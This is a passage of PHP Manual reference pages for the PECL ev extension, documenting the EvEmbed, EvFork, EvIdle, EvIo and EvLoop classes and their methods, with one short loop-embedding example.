This is a rather advanced watcher type that lets to embed one event loop into another(currently only IO events are supported in the embedded loop, other types of watchers might be handled in a delayed or incorrect fashion and must not be used).

See » the libev documentation for details.

This watcher is most useful on BSD systems without working kqueue to still be able to handle a large number of sockets. See example below.

Parameters

other

Instance of EvLoop . The loop to embed, this loop must be embeddable(see Ev::embeddableBackends() ).

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvEmbed object on success.

Examples

Example #1 Embedding loop created with kqueue backend into the default loop

<?php
/*
 * Check if kqueue is available but not recommended and create a kqueue backend
 * for use with sockets (which usually work with any kqueue implementation).
 * Store the kqueue/socket-only event loop in loop_socket. (One might optionally
 * use EVFLAG_NOENV, too)
 *
 * Example borrowed from
 * http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
 */
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
    if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
        $embed = new EvEmbed($loop);
    }
}

if (!$socket_loop) {
    $socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

See Also

  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops.

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvEmbed watcher object

  • « EvEmbed::__construct
  • EvEmbed::set »
  • PHP Manual
  • EvEmbed
  • Create stopped EvEmbed watcher object

EvEmbed::createStopped

(PECL ev >= 0.2.0)

EvEmbed::createStopped — Create stopped EvEmbed watcher object

Description

final public static void EvEmbed::createStopped ( object $other [, callable $callback [, mixed $data [, int $priority ]]] )

The same as EvEmbed::__construct() , but doesn't start the watcher automatically.

Parameters

other

The same as for EvEmbed::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns stopped EvEmbed object on success.

See Also

  • EvEmbed::__construct() - Constructs the EvEmbed object
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops.

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvEmbed::createStopped
  • EvEmbed::sweep »
  • PHP Manual
  • EvEmbed
  • Configures the watcher

EvEmbed::set

(PECL ev >= 0.2.0)

EvEmbed::set — Configures the watcher

Description

public void EvEmbed::set ( object $other )

Configures the watcher to use other event loop object.

Parameters

other

The same as for EvEmbed::__construct()

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Make a single, non-blocking sweep over the embedded loop.

  • « EvEmbed::set
  • EvFork »
  • PHP Manual
  • EvEmbed
  • Make a single, non-blocking sweep over the embedded loop.

EvEmbed::sweep

(PECL ev >= 0.2.0)

EvEmbed::sweep — Make a single, non-blocking sweep over the embedded loop.

Description

public void EvEmbed::sweep ( void )

Make a single, non-blocking sweep over the embedded loop. Works similarly to the following, but in the most appropriate way for embedded loops:

<?php
$other->start(Ev::RUN_NOWAIT);
?>

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


The EvFork class

(PECL ev >= 0.2.0)

Introduction

Fork watchers are called when a fork() was detected (usually because whoever signalled libev about it by calling EvLoop::fork() ). The invocation is done before the event loop blocks next and before EvCheck watchers are being called, and only in the child after the fork. Note, that if whoever calling EvLoop::fork() calls it in the wrong process, the fork handlers will be invoked, too.

Class synopsis

EvFork extends EvWatcher {
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public static object createStopped ( string $callback [, string $data [, string $priority ]] )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Table of Contents

  • EvFork::__construct — Constructs the EvFork watcher object
  • EvFork::createStopped — Creates a stopped instance of EvFork watcher class

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvFork watcher object

  • « EvFork
  • EvFork::createStopped »
  • PHP Manual
  • EvFork
  • Constructs the EvFork watcher object

EvFork::__construct

(PECL ev >= 0.2.0)

EvFork::__construct — Constructs the EvFork watcher object

Description

public EvFork::__construct ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Constructs the EvFork watcher object and starts the watcher automatically.

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvFork object on success.

See Also

  • EvLoop::fork() - Creates EvFork watcher object associated with the current event loop instance
  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Creates a stopped instance of EvFork watcher class

  • « EvFork::__construct
  • EvIdle »
  • PHP Manual
  • EvFork
  • Creates a stopped instance of EvFork watcher class

EvFork::createStopped

(PECL ev >= 0.2.0)

EvFork::createStopped — Creates a stopped instance of EvFork watcher class

Description

final public static object EvFork::createStopped ( string $callback [, string $data [, string $priority ]] )

The same as EvFork::__construct() , but doesn't start the watcher automatically.

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvFork(stopped) object on success.

See Also

  • EvFork::__construct() - Constructs the EvFork watcher object

User Contributed Notes

There are no user contributed notes for this page.


The EvIdle class

(PECL ev >= 0.2.0)

Introduction

EvIdle watchers trigger events when no other events of the same or higher priority are pending ( EvPrepare , EvCheck and other EvIdle watchers do not count as receiving events ).

Thus, as long as the process is busy handling sockets or timeouts(or even signals) of the same or higher priority it will not be triggered. But when the process is in idle(or only lower-priority watchers are pending), the EvIdle watchers are being called once per event loop iteration - until stopped, that is, or the process receives more events and becomes busy again with higher priority stuff.

Apart from keeping the process non-blocking(which is a useful on its own sometimes), EvIdle watchers are a good place to do "pseudo-background processing" , or delay processing stuff to after the event loop has handled all outstanding events.

The most noticeable effect is that as long as any idle watchers are active, the process will not block when waiting for new events.

Class synopsis

EvIdle extends EvWatcher {
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( callable $callback [, mixed $data [, int $priority ]] )
final public static object createStopped ( string $callback [, mixed $data [, int $priority ]] )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Table of Contents

  • EvIdle::__construct — Constructs the EvIdle watcher object
  • EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvIdle watcher object

  • « EvIdle
  • EvIdle::createStopped »
  • PHP Manual
  • EvIdle
  • Constructs the EvIdle watcher object

EvIdle::__construct

(PECL ev >= 0.2.0)

EvIdle::__construct — Constructs the EvIdle watcher object

Description

public EvIdle::__construct ( callable $callback [, mixed $data [, int $priority ]] )

Constructs the EvIdle watcher object and starts the watcher automatically.

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvIdle object on success.

See Also

  • EvIdle::createStopped() - Creates instance of a stopped EvIdle watcher object
  • EvLoop::idle() - Creates EvIdle watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Creates instance of a stopped EvIdle watcher object

  • « EvIdle::__construct
  • EvIo »
  • PHP Manual
  • EvIdle
  • Creates instance of a stopped EvIdle watcher object

EvIdle::createStopped

(PECL ev >= 0.2.0)

EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object

Description

final public static object EvIdle::createStopped ( string $callback [, mixed $data [, int $priority ]] )

The same as EvIdle::__construct() , but doesn't start the watcher automatically.

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvIdle object on success.

See Also

  • EvIdle::__construct() - Constructs the EvIdle watcher object
  • EvLoop::idle() - Creates EvIdle watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


The EvIo class

(PECL ev >= 0.2.0)

Introduction

EvIo watchers check whether a file descriptor(or socket, or a stream castable to numeric file descriptor) is readable or writable in each iteration of the event loop, or, more precisely, when reading would not block the process and writing would at least be able to write some data. This behaviour is called level-triggering because events are kept receiving as long as the condition persists. To stop receiving events just stop the watcher.

The number of read and/or write event watchers per fd is unlimited. Setting all file descriptors to non-blocking mode is also usually a good idea(but not required).

Another thing to watch out for is that it is quite easy to receive false readiness notifications, i.e. the callback might be called with Ev::READ but a subsequent read() will actually block because there is no data. It is very easy to get into this situation. Thus it is best to always use non-blocking I/O: An extra read() returning EAGAIN (or similar) is far preferable to a program hanging until some data arrives.

If for some reason it is impossible to run the fd in non-blocking mode, then separately re-test whether a file descriptor is really ready. Some people additionally use SIGALRM and an interval timer, just to be sure thry won't block infinitely.

Always consider using non-blocking mode.

Class synopsis

EvIo extends EvWatcher {
/* Properties */
public $fd ;
public $events ;
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( mixed $fd , int $events , callable $callback [, mixed $data [, int $priority ]] )
final public static EvIo createStopped ( mixed $fd , int $events , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void set ( mixed $fd , int $events )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

fd

events

Table of Contents

  • EvIo::__construct — Constructs EvIo watcher object
  • EvIo::createStopped — Create stopped EvIo watcher object
  • EvIo::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvIo watcher object

  • « EvIo
  • EvIo::createStopped »
  • PHP Manual
  • EvIo
  • Constructs EvIo watcher object

EvIo::__construct

(PECL ev >= 0.2.0)

EvIo::__construct — Constructs EvIo watcher object

Description

public EvIo::__construct ( mixed $fd , int $events , callable $callback [, mixed $data [, int $priority ]] )

Constructs EvIo watcher object and starts the watcher automatically.

Parameters

fd

Can be a stream opened with fopen() or similar functions, numeric file descriptor, or socket.

events

Ev::READ and/or Ev::WRITE . See the bit masks .

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvIo object on success.

See Also

  • EvIo::createStopped() - Create stopped EvIo watcher object
  • EvLoop::io() - Create EvIo watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvIo watcher object

  • « EvIo::__construct
  • EvIo::set »
  • PHP Manual
  • EvIo
  • Create stopped EvIo watcher object

EvIo::createStopped

(PECL ev >= 0.2.0)

EvIo::createStopped — Create stopped EvIo watcher object

Description

final public static EvIo EvIo::createStopped ( mixed $fd , int $events , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

The same as EvIo::__construct() , but doesn't start the watcher automatically.

Parameters

fd

The same as for EvIo::__construct()

events

The same as for EvIo::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvIo object on success.

See Also

  • EvIo::__construct() - Constructs EvIo watcher object
  • EvLoop::io() - Create EvIo watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvIo::createStopped
  • EvLoop »
  • PHP Manual
  • EvIo
  • Configures the watcher

EvIo::set

(PECL ev >= 0.2.0)

EvIo::set — Configures the watcher

Description

public void EvIo::set ( mixed $fd , int $events )

Configures the EvIo watcher

Parameters

fd

The same as for EvIo::__construct()

events

The same as for EvIo::__construct()

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EvLoop class

(PECL ev >= 0.2.0)

Introduction

Represents an event loop that is always distinct from the default loop . Unlike the default loop , it cannot handle EvChild watchers.

Having threads we have to create a loop per thread, and use the the default loop in the parent thread.

The default event loop is initialized automatically by Ev . It is accessable via methods of the Ev class, or via EvLoop::defaultLoop() method.

Class synopsis

final EvLoop {
/* Properties */
public $data ;
public $backend ;
public $is_default_loop ;
public $iteration ;
public $pending ;
public $io_interval ;
public $timeout_interval ;
public $depth ;
/* Methods */
public int backend ( void )
final public EvCheck check ( string $callback [, string $data [, string $priority ]] )
final public EvChild child ( string $pid , string $trace , string $callback [, string $data [, string $priority ]] )
public __construct ([ int $flags [, mixed $data = NULL [, double $io_interval = 0.0 [, double $timeout_interval = 0.0 ]]]] )
public static EvLoop defaultLoop ([ int $flags = Ev::FLAG_AUTO [, mixed $data = NULL [, double $io_interval = 0. [, double $timeout_interval = 0. ]]]] )
final public EvEmbed embed ( string $other [, string $callback [, string $data [, string $priority ]]] )
final public EvFork fork ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public EvIdle idle ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void invokePending ( void )
final public EvIo io ( mixed $fd , int $events , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void loopFork ( void )
public double now ( void )
public void nowUpdate ( void )
final public EvPeriodic periodic ( double $offset , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public EvPrepare prepare ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void resume ( void )
public void run ([ int $flags = 0 ] )
final public EvSignal signal ( int $signum , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public EvStat stat ( string $path , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void stop ([ int $how ] )
public void suspend ( void )
final public EvTimer timer ( double $after , double $repeat , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void verify ( void )
}

Properties

data

Custom data attached to loop

backend

Readonly . The backend flags indicating the event backend in use.

is_default_loop

Readonly . TRUE if it is the default event loop.

iteration

The current iteration count of the loop. See Ev::iteration()

pending

The number of pending watchers. 0 indicates that there are no watchers pending.

io_interval

Higher io_interval allows libev to spend more time collecting EvIo events, so more events can be handled per iteration, at the cost of increasing latency. Timeouts (both EvPeriodic and EvTimer ) will not be affected. Setting this to a non-zero value will introduce an additional sleep() call into most loop iterations. The sleep time ensures that libev will not poll for EvIo events more often than once per this interval, on average. Many programs can usually benefit by setting the io_interval to a value near 0.1 , which is often enough for interactive servers(not for games). It usually doesn't make much sense to set it to a lower value than 0.01 , as this approaches the timing granularity of most systems.

See also » FUNCTIONS CONTROLLING EVENT LOOPS .

timeout_interval

Higher timeout_interval allows libev to spend more time collecting timeouts, at the expense of increased latency/jitter/inexactness(the watcher callback will be called later). EvIo watchers will not be affected. Setting this to a non-null value will not introduce any overhead in libev . See also » FUNCTIONS CONTROLLING EVENT LOOPS .

depth

The recursion depth. See Ev::depth() .

Table of Contents

  • EvLoop::backend — Returns an integer describing the backend used by libev.
  • EvLoop::check — Creates EvCheck object associated with the current event loop instance
  • EvLoop::child — Creates EvChild object associated with the current event loop
  • EvLoop::__construct — Constructs the event loop object
  • EvLoop::defaultLoop — Returns or creates the default event loop.
  • EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object.
  • EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance
  • EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance
  • EvLoop::invokePending — Invoke all pending watchers while resetting their pending state
  • EvLoop::io — Create EvIo watcher object associated with the current event loop instance
  • EvLoop::loopFork — Must be called after a fork
  • EvLoop::now — Returns the current "event loop time"
  • EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress.
  • EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance
  • EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance
  • EvLoop::resume — Resume previously suspended default event loop
  • EvLoop::run — Begin checking for events and calling callbacks for the loop
  • EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance
  • EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance
  • EvLoop::stop — Stops the event loop
  • EvLoop::suspend — Suspend the loop
  • EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance
  • EvLoop::verify — Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer describing the backend used by libev.

  • « EvLoop
  • EvLoop::check »
  • PHP Manual
  • EvLoop
  • Returns an integer describing the backend used by libev.

EvLoop::backend

(PECL ev >= 0.2.0)

EvLoop::backend — Returns an integer describing the backend used by libev.

Description

public int EvLoop::backend ( void )

The same as Ev::backend() , but for the loop instance.

Parameters

This function has no parameters.

Return Values

Returns an integer describing the backend used by libev. See Ev::backend() .

See Also

  • Ev::backend() - Returns an integer describing the backend used by libev.

User Contributed Notes

There are no user contributed notes for this page.


Creates EvCheck object associated with the current event loop instance

  • « EvLoop::backend
  • EvLoop::child »
  • PHP Manual
  • EvLoop
  • Creates EvCheck object associated with the current event loop instance

EvLoop::check

(PECL ev >= 0.2.0)

EvLoop::check — Creates EvCheck object associated with the current event loop instance

Description

final public EvCheck EvLoop::check ( string $callback [, string $data [, string $priority ]] )

Creates EvCheck object associated with the current event loop instance.

Parameters

All parameters have the same meaning as for EvCheck::__construct()

Return Values

Returns EvCheck object on success.

See Also

  • EvCheck::__construct() - Constructs the EvCheck watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvChild object associated with the current event loop

  • « EvLoop::check
  • EvLoop::__construct »
  • PHP Manual
  • EvLoop
  • Creates EvChild object associated with the current event loop

EvLoop::child

(PECL ev >= 0.2.0)

EvLoop::child — Creates EvChild object associated with the current event loop

Description

final public EvChild EvLoop::child ( string $pid , string $trace , string $callback [, string $data [, string $priority ]] )

Creates EvChild object associated with the current event loop.

Parameters

All parameters have the same meaning as for EvChild::__construct()

Return Values

Returns EvChild object on success.

See Also

  • EvChild::__construct() - Constructs the EvChild watcher object

User Contributed Notes

There are no user contributed notes for this page.


Constructs the event loop object

  • « EvLoop::child
  • EvLoop::defaultLoop »
  • PHP Manual
  • EvLoop
  • Constructs the event loop object

EvLoop::__construct

(PECL ev >= 0.2.0)

EvLoop::__construct — Constructs the event loop object

Description

public EvLoop::__construct ([ int $flags [, mixed $data = NULL [, double $io_interval = 0.0 [, double $timeout_interval = 0.0 ]]]] )

Constructs the event loop object.

Parameters

flags

One of the event loop flags

data

Custom data associated with the loop.

io_interval

See io_interval

timeout_interval

See timeout_interval

Return Values

Returns new EvLoop object.

See Also

  • EvLoop::defaultLoop() - Returns or creates the default event loop.

User Contributed Notes

There are no user contributed notes for this page.


Returns or creates the default event loop.

  • « EvLoop::__construct
  • EvLoop::embed »
  • PHP Manual
  • EvLoop
  • Returns or creates the default event loop.

EvLoop::defaultLoop

(PECL ev >= 0.2.0)

EvLoop::defaultLoop — Returns or creates the default event loop.

Description

public static EvLoop EvLoop::defaultLoop ([ int $flags = Ev::FLAG_AUTO [, mixed $data = NULL [, double $io_interval = 0. [, double $timeout_interval = 0. ]]]] )

If the default event loop is not created, EvLoop::defaultLoop() creates it with the specified parameters. Otherwise, it just returns the object representing previously created instance ignoring all the parameters.

Parameters

flags

One of the event loop flags

data

Custom data to associate with the loop.

io_collect_interval

See io_interval

timeout_collect_interval

See timeout_interval

Return Values

Returns EvLoop object on success.

See Also

  • EvLoop::__construct() - Constructs the event loop object

User Contributed Notes

There are no user contributed notes for this page.


Creates an instance of EvEmbed watcher associated with the current EvLoop object.

  • « EvLoop::defaultLoop
  • EvLoop::fork »
  • PHP Manual
  • EvLoop
  • Creates an instance of EvEmbed watcher associated with the current EvLoop object.

EvLoop::embed

(PECL ev >= 0.2.0)

EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object.

Description

final public EvEmbed EvLoop::embed ( string $other [, string $callback [, string $data [, string $priority ]]] )

Creates an instance of EvEmbed watcher associated with the current EvLoop object.

Parameters

All parameters have the same meaning as for EvEmbed::__construct() .

Return Values

Returns EvEmbed object on success.

See Also

  • EvEmbed::__construct() - Constructs the EvEmbed object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvFork watcher object associated with the current event loop instance

  • « EvLoop::embed
  • EvLoop::idle »
  • PHP Manual
  • EvLoop
  • Creates EvFork watcher object associated with the current event loop instance

EvLoop::fork

(PECL ev >= 0.2.0)

EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance

Description

final public EvFork EvLoop::fork ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvFork watcher object associated with the current event loop instance

Parameters

All parameters have the same meaning as for EvFork::__construct()

Return Values

Returns EvFork object on success.

See Also

  • EvFork::__construct() - Constructs the EvFork watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvIdle watcher object associated with the current event loop instance

  • « EvLoop::fork
  • EvLoop::invokePending »
  • PHP Manual
  • EvLoop
  • Creates EvIdle watcher object associated with the current event loop instance

EvLoop::idle

(PECL ev >= 0.2.0)

EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance

Description

final public EvIdle EvLoop::idle ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvIdle watcher object associated with the current event loop instance

Parameters

All the parameters have the same meaning as for EvIdle::__construct()

Return Values

Returns EvIdle object on success.

See Also

  • EvIdle::__construct() - Constructs the EvIdle watcher object

User Contributed Notes

There are no user contributed notes for this page.


Invoke all pending watchers while resetting their pending state

  • « EvLoop::idle
  • EvLoop::io »
  • PHP Manual
  • EvLoop
  • Invoke all pending watchers while resetting their pending state

EvLoop::invokePending

(PECL ev >= 0.2.0)

EvLoop::invokePending — Invoke all pending watchers while resetting their pending state

Description

public void EvLoop::invokePending ( void )

Invoke all pending watchers while resetting their pending state.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Create EvIo watcher object associated with the current event loop instance

  • « EvLoop::invokePending
  • EvLoop::loopFork »
  • PHP Manual
  • EvLoop
  • Create EvIo watcher object associated with the current event loop instance

EvLoop::io

(PECL ev >= 0.2.0)

EvLoop::io — Create EvIo watcher object associated with the current event loop instance

Description

final public EvIo EvLoop::io ( mixed $fd , int $events , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Create EvIo watcher object associated with the current event loop instance.

Parameters

All parameters have the same meaning as for EvIo::__construct()

Return Values

Returns EvIo object on success.

See Also

  • EvIo::__construct() - Constructs EvIo watcher object

User Contributed Notes

There are no user contributed notes for this page.


Must be called after a fork

  • « EvLoop::io
  • EvLoop::now »
  • PHP Manual
  • EvLoop
  • Must be called after a fork

EvLoop::loopFork

(PECL ev >= 0.2.0)

EvLoop::loopFork — Must be called after a fork

Description

public void EvLoop::loopFork ( void )

Must be called after a fork in the child, before entering or continuing the event loop. An alternative is to use Ev::FLAG_FORKCHECK which calls this function automatically, at some performance loss (refer to the » libev documentation ).

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current "event loop time"

  • « EvLoop::loopFork
  • EvLoop::nowUpdate »
  • PHP Manual
  • EvLoop
  • Returns the current "event loop time"

EvLoop::now

(PECL ev >= 0.2.0)

EvLoop::now — Returns the current "event loop time"

Description

public double EvLoop::now ( void )

Returns the current "event loop time", which is the time the event loop received events and started processing them. This timestamp does not change as long as callbacks are being processed, and this is also the base time used for relative timers. You can treat it as the timestamp of the event occurring(or more correctly, libev finding out about it).

Parameters

This function has no parameters.

Return Values

Returns time of the event loop in (fractional) seconds.

See Also

  • Ev::now() - Returns the time when the last iteration of the default event loop has started.

User Contributed Notes

There are no user contributed notes for this page.


Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress.

  • « EvLoop::now
  • EvLoop::periodic »
  • PHP Manual
  • EvLoop
  • Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress.

EvLoop::nowUpdate

(PECL ev >= 0.2.0)

EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress.

Description

public void EvLoop::nowUpdate ( void )

Establishes the current time by querying the kernel, updating the time returned by EvLoop::now() in the progress. This is a costly operation and is usually done automatically within EvLoop::run() .

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvLoop::now() - Returns the current "event loop time"
  • Ev::nowUpdate() - Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.

User Contributed Notes

There are no user contributed notes for this page.


Creates EvPeriodic watcher object associated with the current event loop instance

  • « EvLoop::nowUpdate
  • EvLoop::prepare »
  • PHP Manual
  • EvLoop
  • Creates EvPeriodic watcher object associated with the current event loop instance

EvLoop::periodic

(PECL ev >= 0.2.0)

EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance

Description

final public EvPeriodic EvLoop::periodic ( double $offset , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvPeriodic watcher object associated with the current event loop instance

Parameters

All parameters have the same maening as for EvPeriodic::__construct()

Return Values

Returns EvPeriodic object on success.

See Also

  • EvPeriodic::__construct() - Constructs EvPeriodic watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvPrepare watcher object associated with the current event loop instance

  • « EvLoop::periodic
  • EvLoop::resume »
  • PHP Manual
  • EvLoop
  • Creates EvPrepare watcher object associated with the current event loop instance

EvLoop::prepare

(PECL ev >= 0.2.0)

EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance

Description

final public EvPrepare EvLoop::prepare ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvPrepare watcher object associated with the current event loop instance

Parameters

All parameters have the same maening as for EvPrepare()

Return Values

Returns EvPrepare object on success

See Also

  • EvPrepare::__construct() - Constructs EvPrepare watcher object

User Contributed Notes

There are no user contributed notes for this page.


Resume previously suspended default event loop

  • « EvLoop::prepare
  • EvLoop::run »
  • PHP Manual
  • EvLoop
  • Resume previously suspended default event loop

EvLoop::resume

(PECL ev >= 0.2.0)

EvLoop::resume — Resume previously suspended default event loop

Description

public void EvLoop::resume ( void )

EvLoop::suspend() and EvLoop::resume() methods suspend and resume a loop correspondingly.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvLoop::suspend() - Suspend the loop
  • Ev::resume() - Resume previously suspended default event loop

User Contributed Notes

There are no user contributed notes for this page.


Begin checking for events and calling callbacks for the loop

  • « EvLoop::resume
  • EvLoop::signal »
  • PHP Manual
  • EvLoop
  • Begin checking for events and calling callbacks for the loop

EvLoop::run

(PECL ev >= 0.2.0)

EvLoop::run — Begin checking for events and calling callbacks for the loop

Description

public void EvLoop::run ([ int $flags = 0 ] )

Begin checking for events and calling callbacks for the current event loop. Returns when a callback calls Ev::stop() method, or the flags are nonzero(in which case the return value is true) or when there are no active watchers which reference the loop( EvWatcher::keepalive() is TRUE), in which case the return value will be FALSE. The return value can generally be interpreted as if TRUE, there is more work left to do .

Parameters

flags

Optional parameter flags can be one of the following:

List for possible values of flags
flags | Description
0 | The default behavior described above
Ev::RUN_ONCE | Block at most one(wait, but don't loop)
Ev::RUN_NOWAIT | Don't block at all(fetch/handle events, but don't wait)

See the run flag constants .

Return Values

No value is returned.

See Also

  • EvLoop::stop() - Stops the event loop
  • Ev::run() - Begin checking for events and calling callbacks for the default loop

User Contributed Notes

There are no user contributed notes for this page.


Creates EvSignal watcher object associated with the current event loop instance

  • « EvLoop::run
  • EvLoop::stat »
  • PHP Manual
  • EvLoop
  • Creates EvSignal watcher object associated with the current event loop instance

EvLoop::signal

(PECL ev >= 0.2.0)

EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance

Description

final public EvSignal EvLoop::signal ( int $signum , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvSignal watcher object associated with the current event loop instance

Parameters

All parameters have the same meaning as for EvSignal::__construct()

Return Values

Returns EvSignal object on success

See Also

  • EvSignal::__construct() - Constructs EvPeriodic watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvStat watcher object associated with the current event loop instance

  • « EvLoop::signal
  • EvLoop::stop »
  • PHP Manual
  • EvLoop
  • Creates EvStat watcher object associated with the current event loop instance

EvLoop::stat

(PECL ev >= 0.2.0)

EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance

Description

final public EvStat EvLoop::stat ( string $path , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvStat watcher object associated with the current event loop instance

Parameters

All parameters have the same meaning as for EvSignal::__construct()

Return Values

Returns EvStat object on success

See Also

  • EvSignal::__construct() - Constructs EvPeriodic watcher object

User Contributed Notes

There are no user contributed notes for this page.


Stops the event loop

  • « EvLoop::stat
  • EvLoop::suspend »
  • PHP Manual
  • EvLoop
  • Stops the event loop

EvLoop::stop

(PECL ev >= 0.2.0)

EvLoop::stop — Stops the event loop

Description

public void EvLoop::stop ([ int $how ] )

Stops the event loop

Parameters

how

One of Ev::BREAK_* constants .

Return Values

No value is returned.

See Also

  • EvLoop::run() - Begin checking for events and calling callbacks for the loop
  • Ev::stop() - Stops the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Suspend the loop

  • « EvLoop::stop
  • EvLoop::timer »
  • PHP Manual
  • EvLoop
  • Suspend the loop

EvLoop::suspend

(PECL ev >= 0.2.0)

EvLoop::suspend — Suspend the loop

Description

public void EvLoop::suspend ( void )

EvLoop::suspend() and EvLoop::resume() methods suspend and resume a loop correspondingly.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

